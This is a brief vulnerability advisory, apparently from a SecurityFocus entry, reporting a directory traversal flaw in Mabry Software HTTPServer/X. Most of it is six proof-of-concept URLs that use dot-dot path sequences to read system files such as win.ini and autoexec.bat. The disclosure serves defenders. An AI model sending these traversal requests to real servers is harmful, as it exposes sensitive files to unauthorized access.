source: https://www.securityfocus.com/bid/8166/info Mabry Software HTTPServer/X is prone to directory traversal attacks. This could be exploited by a remote attacker to gain access to sensitive files on a system hosting the web server implementation. http://www.example.com/........../windows/win.ini http://www.example.com/........./autoexec.bat http://www.example.com/.../.../.../.../.../.../scandisk.log http://www.example.com/../../../../../../../../../autoexec.bat http://www.example.com/../../../../../../../../windows/win.ini http://www.example.com/.html/............/autoexec.bat